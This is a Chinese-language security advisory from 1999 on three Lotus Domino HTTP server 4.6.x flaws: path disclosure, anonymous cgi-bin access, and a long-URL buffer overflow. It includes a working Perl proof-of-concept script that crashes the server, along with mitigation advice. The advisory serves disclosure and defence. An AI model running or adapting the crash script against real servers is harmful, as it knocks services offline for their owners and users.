Lotus Domino HTTP server 漏洞
发布日期:1999-12-23
更新日期:1999-12-23
受影响系统:Lotus Domino HTTP server v4.6.4,4.6.5,4.6.6 4.6.6b.
描述:
Lotus Domino HTTP server也可以用来做使用静态html文档和执行cgi脚本的普通Web服务器。
这些功能缺省是打开的,并且将<NOTESDATA>\domino\cgi-bin映射为/cgi-bin。
它在处理cgi请求的时候存在三个安全漏洞:
1. 泄露本地文件系统的配置信息
当发送一个不存在的cgi请求时,例如:http://server/cgi-bin/blabla, HTTP的回答是:
Error 500
Bad script request -- no variation of 'c:/notes/data/domino/cgi-bin/blabla' is
executable
这可以用来获取操作系统以及HTTP server安装的信息
2. 关闭对Notes Name与Address Book的服务器文档的匿名访问,并不影响cgi-bin目录:仍然
允许匿名访问。同样即使打开"SSL redirection of entire server"功能,仍然可以通过
HTTP端口访问cgi-bin.
3. 长CGI文件名导致缓冲区溢出。
当发送一个很长的cgi URL时,HTTP server会产生一个缓冲区溢出。HTTP服务将立刻崩溃,
不再响应任何的HTTP请求。如果Domino作为一个NT服务被执行,它不会完全停止,但你需
要杀掉内存中的相应进程(用Reskit中的kill.exe)或者重新启动Windows NT.
这些非法请求不会使服务器当掉,但发送'GET /cgi-bin/... (800 .) aaaa (4000 a) HTTP
/1.0' 会杀掉nHTTP.exe。
拒绝服务的问题尚未在Unix版本中验证。但第一个和第二个漏洞在Unix版本中应该也存在。
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
#!/usr/bin/perl -w
# This will crash Lotus Domino Server (tested on 4.6.4,4.6.5,4.6.6 and
# 4.6.6b).
# (c) Alain Thivillon, Stephane Aubert and Herve Schauer Consultants 1999
use LWP::UserAgent;
$ua = new LWP::UserAgent;
$ua->agent("a");
$target='Insertyourtargetnamehere';
$url="http://".$target."/cgi-bin/".'.'x800;
$url.='a'x4000;
my $req = new HTTP::Request GET => $url;
my $res = $ua->request($req);
if ($res->is_success) {
print $res->content;
}
else {
print "Well done, Joe\n";
}
建议:
如果你的Domino server不需要cgi-bin,那就将cgi-bin目录改变到一个很难猜测的目录名。
目前尚未有明确的方法来停止对cgi-bin的操作。
浏览次数:8387
严重程度:0(网友投票)